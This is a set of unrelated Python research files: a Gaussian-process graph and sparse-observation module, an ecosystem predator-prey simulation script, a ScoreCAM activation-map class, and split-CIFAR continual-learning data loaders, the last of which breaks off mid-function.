# -*- coding: utf-8 -*-

from __future__ import absolute_import, division, print_function

import logging
from types import FunctionType

from fdm import central_fdm
from lab import B
from plum import Dispatcher, Self, Referentiable, type_parameter, Union

from .util import uprank
from .input import Input, At, MultiInput
from .kernel import ZeroKernel, PosteriorKernel, TensorProductKernel, \
    CorrectiveKernel, OneKernel
from .lazy import LazyVector, LazyMatrix
from .matrix import matrix, Diagonal, dense
from .mean import PosteriorMean, ZeroMean, OneMean
from .mokernel import MultiOutputKernel as MOK
from .momean import MultiOutputMean as MOM
from .random import Random, PromisedGP, RandomProcess, Normal

__all__ = ['GP',
           'model',
           'Graph',
           'AbstractObservations',
           'Observations', 'Obs',
           'SparseObservations', 'SparseObs']

log = logging.getLogger(__name__)

def ensure_at(x, ref=None):
    """Ensure that an input location is typed with `At` to specify which
    process it belongs to.

    Args:
        x (input): Input location.
        ref (:class:`.graph.GP`, optional): Reference process. If provided and
            `x` is not an instance of `At`, then it assumed to belong to `ref`.

    Returns:
        :class:`.input.At`: Input, instance of `At`.
    """
    if isinstance(x, At):
        return x
    elif ref is not None:
        return ref(x)
    else:
        raise ValueError('Must explicitly specify the processes which to '
                         'condition on.')

class AbstractObservations(Referentiable):
    """Abstract base class for observations."""

    _dispatch = Dispatcher(in_class=Self)

    @_dispatch({B.Numeric, Input}, B.Numeric, [PromisedGP])
    def __init__(self, x, y, ref=None):
        self._ref = ref
        self.x = ensure_at(x, self._ref)
        self.y = y
        self.graph = type_parameter(self.x).graph

    @_dispatch([Union(tuple, list, PromisedGP)])
    def __init__(self, *pairs, **kw_args):
        # Check whether there's a reference.
        self._ref = kw_args['ref'] if 'ref' in kw_args else None

        # Ensure `At` for all pairs.
        pairs = [(ensure_at(x, self._ref), y) for x, y in pairs]

        # Get the graph from the first pair.
        self.graph = type_parameter(pairs[0][0]).graph

        # Extend the graph by the Cartesian product `p` of all processes.
        p = self.graph.cross(*self.graph.ps)

        # Condition on the newly created vector-valued GP.
        xs, ys = zip(*pairs)
        self.x = p(MultiInput(*xs))
        self.y = B.concat(*[uprank(y) for y in ys], axis=0)

    @_dispatch({tuple, list})
    def __ror__(self, ps):
        return self.graph.condition(ps, self)

    def posterior_kernel(self, p_i, p_j):  # pragma: no cover
        """Get the posterior kernel between two processes.

        Args:
            p_i (:class:`.graph.GP`): First process.
            p_j (:class:`.graph.GP`): Second process.

        Returns:
            :class:`.kernel.Kernel`: Posterior kernel between the first and
                second process.
        """
        raise NotImplementedError('Posterior kernel construction not '
                                  'implemented.')

    def posterior_mean(self, p):  # pragma: no cover
        """Get the posterior kernel of a process.

        Args:
            p (:class:`.graph.GP`): Process.

        Returns:
            :class:`.mean.Mean`: Posterior mean of `p`.
        """
        raise NotImplementedError('Posterior mean construction not '
                                  'implemented.')

class Observations(AbstractObservations, Referentiable):
    """Observations.

    Can alternatively construct an instance of `Observations` with tuples or
    lists of valid constructors.

    Args:
        x (input): Locations of points to condition on.
        y (tensor): Observations to condition on.
        ref (:class:`.class.GP`, optional): Reference process. See
            :func:`.graph.ensure_at`.
    """
    _dispatch = Dispatcher(in_class=Self)

    def __init__(self, *args, **kw_args):
        AbstractObservations.__init__(self, *args, **kw_args)
        self._K_x = None

    @property
    def K_x(self):
        """Kernel matrix of the data."""
        if self._K_x is None:  # Cache computation.
            p_x, x = type_parameter(self.x), self.x.get()
            self._K_x = matrix(self.graph.kernels[p_x](x))
        return self._K_x

    def posterior_kernel(self, p_i, p_j):
        p_x, x = type_parameter(self.x), self.x.get()
        return PosteriorKernel(self.graph.kernels[p_i, p_j],
                               self.graph.kernels[p_x, p_i],
                               self.graph.kernels[p_x, p_j],
                               x, self.K_x)

    def posterior_mean(self, p):
        p_x, x = type_parameter(self.x), self.x.get()
        return PosteriorMean(self.graph.means[p],
                             self.graph.means[p_x],
                             self.graph.kernels[p_x, p],
                             x, self.K_x, self.y)

class SparseObservations(AbstractObservations, Referentiable):
    """Observations through inducing points. Takes further arguments
    according to the constructor of :class:`.graph.Observations`.

    Attributes:
        elbo (scalar): ELBO.

    Args:
        z (input): Locations of the inducing points.
        e (:class:`.graph.GP`): Additive, independent noise process.
    """

    _dispatch = Dispatcher(in_class=Self)

    @_dispatch({B.Numeric, Input, tuple, list},
               [Union(tuple, list, PromisedGP)])
    def __init__(self, z, *pairs, **kw_args):
        es, xs, ys = zip(*pairs)
        AbstractObservations.__init__(self, *zip(xs, ys), **kw_args)
        SparseObservations.__init__(self,
                                    z,
                                    self.graph.cross(*es),
                                    self.x,
                                    self.y,
                                    **kw_args)

    @_dispatch({list, tuple},
               PromisedGP,
               {B.Numeric, Input},
               B.Numeric,
               [PromisedGP])
    def __init__(self, zs, e, x, y, ref=None):
        # Ensure `At` everywhere.
        zs = [ensure_at(z, ref=ref) for z in zs]

        # Extract graph.
        graph = type_parameter(zs[0]).graph

        # Create a representative multi-output process.
        p_z = graph.cross(*(type_parameter(z) for z in zs))

        SparseObservations.__init__(self,
                                    p_z(MultiInput(*zs)),
                                    e, x, y, ref=ref)

    @_dispatch({B.Numeric, Input},
               PromisedGP,
               {B.Numeric, Input},
               B.Numeric,
               [PromisedGP])
    def __init__(self, z, e, x, y, ref=None):
        AbstractObservations.__init__(self, x, y, ref=ref)
        self.z = ensure_at(z, self._ref)
        self.e = e

        self._K_z = None
        self._elbo = None
        self._mu = None
        self._A = None

    @property
    def K_z(self):
        """Kernel matrix of the data."""
        if self._K_z is None:  # Cache computation.
            self._compute()
        return self._K_z

    @property
    def elbo(self):
        """ELBO."""
        if self._elbo is None:  # Cache computation.
            self._compute()
        return self._elbo

    @property
    def mu(self):
        """Mean of optimal approximating distribution."""
        if self._mu is None:  # Cache computation.
            self._compute()
        return self._mu

    @property
    def A(self):
        """Parameter of the corrective variance of the kernel of the optimal
        approximating distribution."""
        if self._A is None:  # Cache computation.
            self._compute()
        return self._A

    def _compute(self):
        # Extract processes.
        p_x, x = type_parameter(self.x), self.x.get()
        p_z, z = type_parameter(self.z), self.z.get()

        # Construct the necessary kernel matrices.
        K_zx = self.graph.kernels[p_z, p_x](z, x)
        self._K_z = matrix(self.graph.kernels[p_z](z))

        # Evaluating `e.kernel(x)` will yield incorrect results if `x` is a
        # `MultiInput`, because `x` then still designates the particular
        # components of `f`. Fix that by instead designating the elements of
        # `e`.
        if isinstance(x, MultiInput):
            x_n = MultiInput(*(p(xi.get())
                               for p, xi in zip(self.e.kernel.ps, x.get())))
        else:
            x_n = x

        # Construct the noise kernel matrix.
        K_n = self.e.kernel(x_n)

        # The approximation can only handle diagonal noise matrices.
        if not isinstance(K_n, Diagonal):
            raise RuntimeError('Kernel matrix of noise must be diagonal.')

        # And construct the components for the inducing point approximation.
        L_z = B.cholesky(self._K_z)
        self._A = B.eye(self._K_z) + \
                  B.qf(K_n, B.transpose(B.trisolve(L_z, K_zx)))
        y_bar = uprank(self.y) - self.e.mean(x_n) - self.graph.means[p_x](x)
        prod_y_bar = B.trisolve(L_z, B.qf(K_n, B.transpose(K_zx), y_bar))

        # Compute the optimal mean.
        self._mu = self.graph.means[p_z](z) + \
                   B.qf(self._A, B.trisolve(L_z, self._K_z), prod_y_bar)

        # Compute the ELBO.
        # NOTE: The calculation of `trace_part` asserts that `K_n` is diagonal.
        #       The rest, however, is completely generic.
        trace_part = B.ratio(Diagonal(self.graph.kernels[p_x].elwise(x)[:, 0]) -
                             Diagonal(B.qf_diag(self._K_z, K_zx)), K_n)
        det_part = B.logdet(2 * B.pi * K_n) + B.logdet(self._A)
        qf_part = B.qf(K_n, y_bar)[0, 0] - B.qf(self._A, prod_y_bar)[0, 0]
        self._elbo = -0.5 * (trace_part + det_part + qf_part)

    def posterior_kernel(self, p_i, p_j):
        p_z, z = type_parameter(self.z), self.z.get()
        return PosteriorKernel(self.graph.kernels[p_i, p_j],
                               self.graph.kernels[p_z, p_i],
                               self.graph.kernels[p_z, p_j],
                               z, self.K_z) + \
               CorrectiveKernel(self.graph.kernels[p_z, p_i],
                                self.graph.kernels[p_z, p_j],
                                z, self.A, self.K_z)

    def posterior_mean(self, p):
        p_z, z = type_parameter(self.z), self.z.get()
        return PosteriorMean(self.graph.means[p],
                             self.graph.means[p_z],
                             self.graph.kernels[p_z, p],
                             z, self.K_z, self.mu)

Obs = Observations  #: Shorthand for `Observations`.
SparseObs = SparseObservations  #: Shorthand for `SparseObservations`.

class Graph(Referentiable):
    """A GP model."""
    _dispatch = Dispatcher(in_class=Self)

    def __init__(self):
        self.ps = []
        self.pids = set()
        self.kernels = LazyMatrix()
        self.means = LazyVector()

        # Store named GPs in both ways.
        self.gps_by_name = {}
        self.names_by_gp = {}

    @_dispatch(str)
    def __getitem__(self, name):
        return self.gps_by_name[name]

    @_dispatch(PromisedGP)
    def __getitem__(self, p):
        return self.names_by_gp[id(p)]

    @_dispatch(PromisedGP, str)
    def name(self, p, name):
        """Name a GP.

        Args:
            p (:class:`.graph.GP`): GP to name.
            name (str): Name. Must be unique.
        """
        # Delete any existing names and back-references for the GP.
        if id(p) in self.names_by_gp:
            del self.gps_by_name[self.names_by_gp[id(p)]]
            del self.names_by_gp[id(p)]

        # Check that name is not in use.
        if name in self.gps_by_name:
            raise RuntimeError('Name "{}" for "{}" already taken by "{}".'
                               ''.format(name, p, self[name]))

        # Set the name and the back-reference.
        self.gps_by_name[name] = p
        self.names_by_gp[id(p)] = name

    def _add_p(self, p):
        self.ps.append(p)
        self.pids.add(id(p))

    def _update(self, mean, k_ii_generator, k_ij_generator):
        p = GP(self)
        self.means[p] = mean
        self.kernels.add_rule((p, p), self.pids, k_ii_generator)
        self.kernels.add_rule((p, None), self.pids, k_ij_generator)
        self.kernels.add_rule((None, p), self.pids,
                              lambda pi: reversed(self.kernels[p, pi]))
        self._add_p(p)
        return p

    def add_independent_gp(self, p, kernel, mean):
        """Add an independent GP to the model.

        Args:
            p (:class:`.graph.GP`): GP object to add.
            kernel (:class:`.kernel.Kernel`): Kernel function of GP.
            mean (:class:`.mean.Mean`): Mean function of GP.

        Returns:
            :class:`.graph.GP`: The newly added independent GP.
        """
        # Update means.
        self.means[p] = mean
        # Add rule to kernels.
        self.kernels[p] = kernel
        self.kernels.add_rule((p, None), self.pids, lambda pi: ZeroKernel())
        self.kernels.add_rule((None, p), self.pids, lambda pi: ZeroKernel())
        self._add_p(p)
        return p

    @_dispatch(object, PromisedGP)
    def sum(self, other, p):
        """Sum a GP from the graph with another object.

        Args:
            obj1 (other type or :class:`.graph.GP`): First term in the sum.
            obj2 (other type or :class:`.graph.GP`): Second term in the sum.

        Returns:
            :class:`.graph.GP`: The GP corresponding to the sum.
        """
        return self.sum(p, other)

    @_dispatch(PromisedGP, object)
    def sum(self, p, other):
        return self._update(self.means[p] + other,
                            lambda: self.kernels[p],
                            lambda pi: self.kernels[p, pi])

    @_dispatch(PromisedGP, PromisedGP)
    def sum(self, p1, p2):
        # Check that the GPs are on the same graph.
        if p1.graph != p2.graph:
            raise RuntimeError('Can only add GPs from the same graph.')

        return self._update(self.means[p1] + self.means[p2],
                            (lambda: self.kernels[p1] +
                                     self.kernels[p2] +
                                     self.kernels[p1, p2] +
                                     self.kernels[p2, p1]),
                            lambda pi: self.kernels[p1, pi] +
                                       self.kernels[p2, pi])

    @_dispatch(PromisedGP, B.Numeric)
    def mul(self, p, other):
        """Multiply a GP from the graph with another object.

        Args:
            p (:class:`.graph.GP`): GP in the product.
            other (object): Other object in the product.

        Returns:
            :class:`.graph.GP`: The GP corresponding to the product.
        """
        return self._update(self.means[p] * other,
                            lambda: self.kernels[p] * other ** 2,
                            lambda pi: self.kernels[p, pi] * other)

    @_dispatch(PromisedGP, FunctionType)
    def mul(self, p, f):
        def ones(x):
            return B.ones(B.dtype(x), B.shape(x)[0], 1)

        return self._update(f * self.means[p],
                            lambda: f * self.kernels[p],
                            (lambda pi: TensorProductKernel(f, ones) *
                                        self.kernels[p, pi]))

    def shift(self, p, shift):
        """Shift a GP.

        Args:
            p (:class:`.graph.GP`): GP to shift.
            shift (object): Amount to shift by.

        Returns:
            :class:`.graph.GP`: The shifted GP.
        """
        return self._update(self.means[p].shift(shift),
                            lambda: self.kernels[p].shift(shift),
                            lambda pi: self.kernels[p, pi].shift(shift, 0))

    def stretch(self, p, stretch):
        """Stretch a GP.

        Args:
            p (:class:`.graph.GP`): GP to stretch.
            stretch (object): Extent of stretch.

        Returns:
            :class:`.graph.GP`: The stretched GP.
        """
        return self._update(self.means[p].stretch(stretch),
                            lambda: self.kernels[p].stretch(stretch),
                            lambda pi: self.kernels[p, pi].stretch(stretch, 1))

    def select(self, p, *dims):
        """Select input dimensions.

        Args:
            p (:class:`.graph.GP`): GP to select input
                dimensions from.
            *dims (object): Dimensions to select.

        Returns:
            :class:`.graph.GP`: GP with the specific input dimensions.
        """
        return self._update(self.means[p].select(dims),
                            lambda: self.kernels[p].select(dims),
                            lambda pi: self.kernels[p, pi].select(dims, None))

    def transform(self, p, f):
        """Transform the inputs of a GP.

        Args:
            p (:class:`.graph.GP`): GP to input transform.
            f (function): Input transform.

        Returns:
            :class:`.graph.GP`: Input-transformed GP.
        """
        return self._update(self.means[p].transform(f),
                            lambda: self.kernels[p].transform(f),
                            lambda pi: self.kernels[p, pi].transform(f, None))

    def diff(self, p, dim=0):
        """Differentiate a GP.

        Args:
            p (:class:`.graph.GP`): GP to differentiate.
            dim (int, optional): Dimension of feature which to take the
                derivative with respect to. Defaults to `0`.

        Returns:
            :class:`.graph.GP`: Derivative of GP.
        """
        return self._update(self.means[p].diff(dim),
                            lambda: self.kernels[p].diff(dim),
                            lambda pi: self.kernels[p, pi].diff(dim, None))

    @_dispatch({list, tuple}, AbstractObservations)
    def condition(self, ps, obs):
        """Condition the graph on observations.

        Args:
            ps (list[:class:`.graph.GP`]): Processes to condition.
            obs (:class:`.graph.AbstractObservations`): Observations to
                condition on.

        Returns:
            list[:class:`.graph.GP`]: Posterior processes.
        """

        # A construction like this is necessary to properly close over `p`.
        def build_gens(p):
            def k_ij_generator(pi):
                return obs.posterior_kernel(p, pi)

            def k_ii_generator():
                return obs.posterior_kernel(p, p)

            return k_ii_generator, k_ij_generator

        return [self._update(obs.posterior_mean(p), *build_gens(p)) for p in ps]

    def cross(self, *ps):
        """Construct the Cartesian product of a collection of processes.

        Args:
            *ps (:class:`.graph.GP`): Processes to construct the
                Cartesian product of.

        Returns:
            :class:`.graph.GP`: The Cartesian product of `ps`.
        """
        mok = MOK(*ps)
        return self._update(MOM(*ps),
                            lambda: mok,
                            lambda pi: mok.transform(None, lambda y: At(pi)(y)))

    @_dispatch(int, [At])
    def sample(self, n, *xs):
        """Sample multiple processes simultaneously.

        Args:
            n (int, optional): Number of samples. Defaults to `1`.
            *xs (:class:`.graph.At`): Locations to sample at.

        Returns:
            tuple: Tuple of samples.
        """
        sample = GP(MOK(*self.ps),
                    MOM(*self.ps),
                    graph=Graph())(MultiInput(*xs)).sample(n)

        # To unpack `x`, just keep `.get()`ing.
        def unpack(x):
            while isinstance(x, Input):
                x = x.get()
            return x

        # Unpack sample.
        lengths = [B.shape(uprank(unpack(x)))[0] for x in xs]
        i, samples = 0, []
        for length in lengths:
            samples.append(sample[i:i + length, :])
            i += length
        return samples[0] if len(samples) == 1 else samples

    @_dispatch([At])
    def sample(self, *xs):
        return self.sample(1, *xs)

    @_dispatch([{list, tuple}])
    def logpdf(self, *pairs):
        xs, ys = zip(*pairs)

        # Check that all processes are specified.
        if not all([isinstance(x, At) for x in xs]):
            raise ValueError('Must explicitly specify the processes which to '
                             'compute the log-pdf for.')

        # Uprank all outputs and concatenate.
        y = B.concat(*[uprank(y) for y in ys], axis=0)

        # Return composite log-pdf.
        return GP(MOK(*self.ps),
                  MOM(*self.ps),
                  graph=Graph())(MultiInput(*xs)).logpdf(y)

    @_dispatch(At, B.Numeric)
    def logpdf(self, x, y):
        return x.logpdf(y)

    @_dispatch(Observations)
    def logpdf(self, obs):
        return obs.x.logpdf(obs.y)

    @_dispatch(SparseObservations)
    def logpdf(self, obs):
        return obs.elbo

model = Graph()  #: A default graph provided for convenience

class GP(RandomProcess, Referentiable):
    """Gaussian process.

    Args:
        kernel (:class:`.kernel.Kernel`): Kernel of the
            process.
        mean (:class:`.mean.Mean`, optional): Mean function of the
            process. Defaults to zero.
        graph (:class:`.graph.Graph`, optional): Graph to attach to.
    """
    _dispatch = Dispatcher(in_class=Self)

    @_dispatch([object])
    def __init__(self, kernel, mean=None, graph=model, name=None):
        # Resolve kernel.
        if isinstance(kernel, (B.Numeric, FunctionType)):
            kernel = kernel * OneKernel()

        # Resolve mean.
        if mean is None:
            mean = ZeroMean()
        elif isinstance(mean, (B.Numeric, FunctionType)):
            mean = mean * OneMean()

        # Then add a new `GP` to the graph with the resolved kernel and mean.
        self.graph = graph
        self.graph.add_independent_gp(self, kernel, mean)

        # If a name is given, set the name.
        if name:
            self.graph.name(self, name)

    @_dispatch(Graph)
    def __init__(self, graph):
        self.graph = graph

    @property
    def kernel(self):
        """Kernel of the GP."""
        return self.graph.kernels[self]

    @property
    def mean(self):
        """Mean function of the GP."""
        return self.graph.means[self]

    @property
    def name(self):
        """Name of the GP."""
        return self.graph[self]

    @name.setter
    @_dispatch(str)
    def name(self, name):
        self.graph.name(self, name)

    def __call__(self, x):
        """Construct a finite-dimensional distribution at specified locations.

        Args:
            x (input): Points to construct the distribution at.

        Returns:
            :class:`.random.Normal`: Finite-dimensional distribution.
        """
        return Normal(self, x)

    @_dispatch([object])
    def condition(self, *args):
        """Condition the GP. See :meth:`.graph.Graph.condition`."""
        return self.graph.condition((self,), Observations(*args, ref=self))[0]

    @_dispatch(AbstractObservations)
    def condition(self, obs):
        return self.graph.condition((self,), obs)[0]

    @_dispatch(object)
    def __add__(self, other):
        return self.graph.sum(self, other)

    @_dispatch(Random)
    def __add__(self, other):
        raise NotImplementedError('Cannot add a GP and a {}.'
                                  ''.format(type(other).__name__))

    @_dispatch(Self)
    def __add__(self, other):
        return self.graph.sum(self, other)

    @_dispatch(object)
    def __mul__(self, other):
        return self.graph.mul(self, other)

    @_dispatch(Random)
    def __mul__(self, other):
        raise NotImplementedError('Cannot multiply a GP and a {}.'
                                  ''.format(type(other).__name__))

    @_dispatch(Self)
    def __mul__(self, other):
        return (lambda x: self.graph.means[self](x)) * other + \
               self * (lambda x: self.graph.means[other](x)) + \
               GP(kernel=self.graph.kernels[self] *
                         self.graph.kernels[other] +
                         self.graph.kernels[self, other] *
                         self.graph.kernels[other, self],
                  mean=-self.graph.means[self] *
                       self.graph.means[other],
                  graph=self.graph)

    @_dispatch([object])
    def __or__(self, args):
        """Shorthand for conditioning."""
        return self.condition(Observations(*args, ref=self))

    @_dispatch(AbstractObservations)
    def __or__(self, obs):
        return self.condition(obs)

    def shift(self, shift):
        """Shift the GP. See :meth:`.graph.Graph.shift`."""
        return self.graph.shift(self, shift)

    def stretch(self, stretch):
        """Stretch the GP. See :meth:`.graph.Graph.stretch`."""
        return self.graph.stretch(self, stretch)

    def __gt__(self, stretch):
        """Shorthand for :meth:`.graph.GP.stretch`."""
        return self.stretch(stretch)

    def transform(self, f):
        """Input transform the GP. See :meth:`.graph.Graph.transform`."""
        return self.graph.transform(self, f)

    def select(self, *dims):
        """Select dimensions from the input. See :meth:`.graph.Graph.select`."""
        return self.graph.select(self, *dims)

    def __getitem__(self, *dims):
        """Shorthand for :meth:`.graph.GP.select`."""
        return self.select(*dims)

    def diff(self, dim=0):
        """Differentiate the GP. See :meth:`.graph.Graph.diff`."""
        return self.graph.diff(self, dim)

    def diff_approx(self, deriv=1, order=6):
        """Approximate the derivative of the GP by constructing a finite
        difference approximation.

        Args:
            deriv (int): Order of the derivative.
            order (int): Order of the estimate.

        Returns:
            Approximation of the derivative of the GP.
        """
        # Use the FDM library to figure out the coefficients.
        fdm = central_fdm(order, deriv, adapt=0, factor=1e8)
        fdm.estimate()  # Estimate step size.

        # Construct finite difference.
        df = 0
        for g, c in zip(fdm.grid, fdm.coefs):
            df += c * self.shift(-g * fdm.step)
        return df / fdm.step ** deriv

    @property
    def stationary(self):
        """Stationarity of the GP."""
        return self.kernel.stationary

    @property
    def var(self):
        """Variance of the GP."""
        return self.kernel.var

    @property
    def length_scale(self):
        """Length scale of the GP."""
        return self.kernel.length_scale

    @property
    def period(self):
        """Period of the GP."""
        return self.kernel.period

    def __str__(self):
        return self.display()

    def __repr__(self):
        return self.display()

    def display(self, formatter=lambda x: x):
        """Display the GP.

        Args:
            formatter (function, optional): Function to format values.

        Returns:
            str: GP as a string.
        """
        return 'GP({}, {})'.format(self.kernel.display(formatter),
                                   self.mean.display(formatter))

PromisedGP.deliver(GP)


import matplotlib.pyplot as plt
from utility_functions import *

depth = 120
layers = 100
segments = 1
size_classes = 2
lam = 300
simulate = False
verbose = True
l2 = False
min_attack_rate = 10**(-3)
mass_vector = np.array([0.05, 20, 6000])  # np.array([1, 30, 300, 400, 800, 16000])

obj = spectral_method(depth, layers, segments=segments)
logn = stats.lognorm.pdf(obj.x, 1, 0)

norm_dist = stats.norm.pdf(obj.x, loc=0, scale=3)
res_start = 8*norm_dist  # 0.1*(1-obj.x/depth)
res_max = 10 * norm_dist

water_start = water_column(obj, res_start, layers=layers * segments, resource_max=res_max, replacement=lam, advection=0,
                           diffusion=0, logistic = True)

params = ecosystem_parameters(mass_vector, obj, lam=0.3, min_attack_rate = min_attack_rate, forage_mass = 0.05/408)
params.handling_times = np.zeros(3)

eco = ecosystem_optimization(mass_vector, layers * segments, params, obj, water_start, l2=l2, movement_cost=0)
eco.population_setter(np.array([1, 0.1, 0.01]))
eco.heat_kernel_creator(10**(-1))
eco.heat_kernels[1] = eco.heat_kernels[0]
eco.heat_kernels[2] = eco.heat_kernels[0]
eco.parameters.who_eats_who[1,0] = 1

opt_sol_quad_opt = quadratic_optimizer(eco)
opt_sol = lemke_optimizer(eco)
#

plt.plot(obj.x, opt_sol[0:layers]@eco.heat_kernels[0])
plt.plot(obj.x, opt_sol[layers:2*layers]@eco.heat_kernels[0])
plt.plot(obj.x, opt_sol[2*layers:3*layers]@eco.heat_kernels[0])
plt.show()

plt.plot(obj.x, opt_sol_quad_opt[0:layers]@eco.heat_kernels[0])
plt.plot(obj.x, opt_sol_quad_opt[layers:2*layers]@eco.heat_kernels[0])
plt.plot(obj.x, opt_sol_quad_opt[2*layers:3*layers]@eco.heat_kernels[0])
plt.show()

simulator(eco, params, "proper_tritrophic", total_days=180, lemke = True)


from keras import Model
import numpy as np

from scam.exceptions import InvalidState
from scam.utils import resize_activations, normalize_activations

class ScoreCAM:
    def __init__(self, model_input, last_conv_output, softmax_output, input_shape, cam_batch_size=None):
        """
        Prepares class activation mappings
        :param model_input: input layer of CNN, normally takes batch of images as an input. Currently batch must be limited to a single image
        :param last_conv_output: last convolutional layer. The last conv layer contains the most complete information about image.
        :param softmax_output: flat softmax (or similar) layer describing the class certainty
        :param input_shape: Expecting a batch of a single input sample 1 x M X N X ...; it is assumed that 2D image of M x N dimensions is served as an input, which can be multiplied with a 2D-mask.
        :param cam_batch_size: Optional, defaults to None, which will result in inference of batches of size 32.
        """
        self.model_input = model_input
        self.last_conv_output = last_conv_output
        self.softmax_output = softmax_output
        self.last_conv_model = Model(inputs=model_input, outputs=last_conv_output)
        self.softmax_model = Model(inputs=model_input, outputs=softmax_output)
        self.input_shape = input_shape
        self.cam_batch_size = cam_batch_size

        self.normalized_maps = None
        self.classes_activation_scale = None

    def prepare_cam(self, input):
        output_conv = self.last_conv_model.predict(input)
        # Only first image from convolutions will be used
        resized = resize_activations(output_conv[0], self.input_shape)
        # filter_size x input_shape[0] x input_shape[1] - resized to original input dimensions
        normalized_maps = normalize_activations(resized)

        # repeat input
        repeat_input = np.tile(input, (normalized_maps.shape[0], 1, 1, 1))
        expanded_activation_maps = np.expand_dims(normalized_maps, axis=3)
        masked_images = np.multiply(repeat_input, expanded_activation_maps)
        # input: filter_size x input_shape[0] x input_shape[1] -> Output filter_size x Classes_Count
        self.classes_activation_scale = self.softmax_model.predict(masked_images,
                                                                   batch_size=self.cam_batch_size)
        self.normalized_maps = normalized_maps

    def get_class_heatmap(self, class_id):
        if self.normalized_maps is None or self.classes_activation_scale is None:
            raise InvalidState('Call prepare_cam before accessing get_class_heatmap, '
                               'activations must be prepared via prepare_cam')
        final_weights = self.classes_activation_scale[:, class_id]
        final_maps = np.multiply(self.normalized_maps, final_weights.reshape((-1, 1, 1)))
        # ReLU
        final_maps_max = np.max(final_maps, axis=0)
        final_class_activation_map = np.where(final_maps_max > 0, final_maps_max, 0)
        return final_class_activation_map


import os
import sys
import pdb
import torch
import numpy as np
import pickle as pkl
from PIL import Image
from random import shuffle

from torchvision import datasets, transforms

""" Template Dataset with Labels """
class XYDataset(torch.utils.data.Dataset):
    def __init__(self, x, y, **kwargs):
        self.x, self.y = x, y

        # this was to store the inverse permutation in permuted_mnist
        # so that we could 'unscramble' samples and plot them
        for name, value in kwargs.items():
            setattr(self, name, value)

    def __len__(self):
        return len(self.x)

    def __getitem__(self, idx):
        x, y = self.x[idx], self.y[idx]

        if type(x) != torch.Tensor:
            # mini_imagenet
            # we assume it's a path --> load from file
            x = self.transform(Image.open(x).convert('RGB'))
            y = torch.Tensor(1).fill_(y).long().squeeze()
        else:
            x = x.float() / 255.
            y = y.long()

        # for some reason mnist does better \in [0,1] than [-1, 1]
        if self.source == 'mnist':
            return x, y
        else:
            return (x - 0.5) * 2, y

""" Template Dataset for Continual Learning """
class CLDataLoader(object):
    def __init__(self, datasets_per_task, args, train=True):
        bs = args.batch_size if train else 64
        self.datasets = datasets_per_task

        # concat_list = []
        # for x in self.datasets:
        #     concat_list.append(x)
        #     print('loader x', x)
        self.loaders = [
                torch.utils.data.DataLoader(x, batch_size=bs, shuffle=True, drop_last=train, num_workers=0)
                for x in self.datasets ]

        # print('len(concat_list)', len(concat_list))
        # print('len(self.loaders)', len(self.loaders))

    def __getitem__(self, idx):
        return self.loaders[idx]

    def __len__(self):
        return len(self.loaders)

""" Split CIFAR10 into 5 tasks {{0,1}, ... {8,9}} """
def get_split_cifar10(args):
    # assert args.n_tasks in [5, 10], 'SplitCifar only works with 5 or 10 tasks'
    assert '1.' in str(torch.__version__)[:2], 'Use Pytorch 1.x!'
    args.n_tasks   = 5
    args.n_classes = 10
    args.buffer_size = args.n_tasks * args.mem_size * 2
    args.use_conv = True
    args.n_classes_per_task = 2
    args.input_size = [3, 32, 32]
    args.input_type = 'continuous'
    # because data is between [-1,1]:
    assert args.output_loss is not 'bernouilli'
    if args.output_loss == None:
        #TODO(multinomial is broken)
        #args.output_loss = 'multinomial'
        args.output_loss = 'mse'
        print('\nsetting output loss to MSE')

    # fetch MNIST
    train = datasets.CIFAR10('Data/', train=True,  download=True)
    test  = datasets.CIFAR10('Data/', train=False, download=True)

    try:
        train_x, train_y = train.data, train.targets
        test_x, test_y = test.data, test.targets
    except:
        train_x, train_y = train.train_data, train.train_labels
        test_x,  test_y  = test.test_data,   test.test_labels

    # sort according to the label
    out_train = [
        (x,y) for (x,y) in sorted(zip(train_x, train_y), key=lambda v : v[1]) ]

    out_test = [
        (x,y) for (x,y) in sorted(zip(test_x, test_y), key=lambda v : v[1]) ]

    train_x, train_y = [
            np.stack([elem[i] for elem in out_train]) for i in [0,1] ]

    test_x,  test_y  = [
            np.stack([elem[i] for elem in out_test]) for i in [0,1] ]

    train_x = torch.Tensor(train_x).permute(0, 3, 1, 2).contiguous()
    test_x  = torch.Tensor(test_x).permute(0, 3, 1, 2).contiguous()

    train_y = torch.Tensor(train_y)
    test_y  = torch.Tensor(test_y)

    # get indices of class split
    train_idx = [((train_y + i) % 10).argmax() for i in range(10)]
    train_idx = [0] + [x + 1 for x in sorted(train_idx)]

    test_idx  = [((test_y + i) % 10).argmax() for i in range(10)]
    test_idx  = [0] + [x + 1 for x in sorted(test_idx)]

    train_ds, test_ds = [], []
    skip = 10 // 5 #args.n_tasks
    for i in range(0, 10, skip):
        tr_s, tr_e = train_idx[i], train_idx[i + skip]
        te_s, te_e = test_idx[i],  test_idx[i + skip]

        train_ds += [(train_x[tr_s:tr_e], train_y[tr_s:tr_e])]
        test_ds  += [(test_x[te_s:te_e],  test_y[te_s:te_e])]

    train_ds, val_ds = make_valid_from_train(train_ds)

    train_ds = map(lambda x : XYDataset(x[0], x[1], **{'source':'cifar10'}), train_ds)
    val_ds   = map(lambda x : XYDataset(x[0], x[1], **{'source':'cifar10'}), val_ds)
    test_ds  = map(lambda x : XYDataset(x[0], x[1], **{'source':'cifar10'}), test_ds)

    return train_ds, val_ds, test_ds

def get_split_cifar100(args):
    # assert args.n_tasks in [5, 10], 'SplitCifar only works with 5 or 10 tasks'
    assert '1.' in str(torch.__version__)[:2], 'Use Pytorch 1.x!'
    args.n_tasks   = 20
    args.n_classes = 100
    args.buffer_size = args.n_tasks * args.mem_size * 5
    args.use_conv = True
    args.n_classes_per_task = 5
    args.input_size = [3, 32, 32]
    args.input_type = 'continuous'
    # because data is between [-1,1]:
    assert args.output_loss is not 'bernouilli'
    if args.output_loss == None:
        #TODO(multinomial is broken)
        #args.output_loss = 'multinomial'
        args.output_loss = 'mse'
        print('\nsetting output loss to MSE')

    # fetch MNIST
    train = datasets.CIFAR100('Data/', train=True,  download=True)
    test  = datasets.CIFAR100('Data/', train=False, download=True)

    try:
        train_x, train_y = train.data, train.targets
        test_x, test_y = test.data, test.targets
    except:
        train_x, train_y = train.train_data, train.train_labels
        test_x,  test_y  = test.test_data,   test.test_labels

    # sort according to the label
    out_train = [
        (x,y) for (x,y) in sorted(zip(train_x, train_y), key=lambda v : v[1]) ]

    out_test = [
        (x,y) for (x,y) in sorted(zip(test_x, test_y), key=lambda v : v[1]) ]

    train_x, train_y = [
